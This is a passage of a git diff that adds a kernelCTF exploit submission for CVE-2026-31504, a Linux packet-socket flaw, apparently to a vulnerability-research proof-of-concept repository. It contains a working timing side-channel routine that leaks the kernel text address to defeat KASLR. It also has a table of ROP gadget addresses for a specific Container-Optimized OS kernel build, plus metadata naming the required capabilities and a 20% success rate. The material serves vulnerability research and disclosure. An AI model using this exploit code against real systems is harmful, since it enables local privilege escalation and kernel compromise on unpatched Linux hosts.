memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000) + { + time = measure(addr); + + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kernelver_18244.582.55.h b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kernelver_18244.582.55.h new file mode 100644 index 000000000..cff274f80 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kernelver_18244.582.55.h @@ -0,0 +1,19 @@ +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81c54875 +#define RETURN_THUNK 0xffffffff826054f0 +#define POP_RSP_RBP_RBX 0xffffffff81127165 +#define POP_RCX 0xffffffff8102ce2c +#define PUSH_RSI_JMP_QWORD_RSI_0F 0xffffffff81c6d4d8 +#define POP_RSI_RDX_RCX 0xffffffff810e0e5a +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff8132c125 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810e0e59 +#define POP_RSI_RDI 0xffffffff81afdc01 +#define POP_RDX_RDI 0xffffffff8193786b +#define RETURN_VIA_SYSRET 0xffffffff8240021b +#define POP_RSI 0xffffffff8110729e +#define POP_RSP 0xffffffff816c2a89 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810e0e51 +#define POP_RDI 0xffffffff81195e0c +#define POP_RDX 0xffffffff8104ded2 +#define RW_BUFFER 0xffffffff84700000 +#define MOV_RDI_RAX 0xffffffff8126317d +#define POP_RSP_RBX 0xffffffff810ea9c8 diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/target.kxdb b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/target.kxdb new file mode 100644 index 000000000..04e516c8e Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/target.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31504_cos/metadata.json new file mode 100644 index 000000000..1dc570e1c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp499" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=42156f93d123436f2a27c468f18c966b7e5db796", + "cve": "CVE-2026-31504", + "affected_versions": [ + "3.1 - 6.1.167" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN", + "CAP_NET_RAW" + ], + "kernel_config": [ + "CONFIG_PACKET" + ] + } + }, + "exploits": { + "cos-113-18244.582.55": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "20% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31504_cos/original.tar.gz new file mode 100644 index 000000000..24bf3bcfb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31504_cos/original.tar.gz differ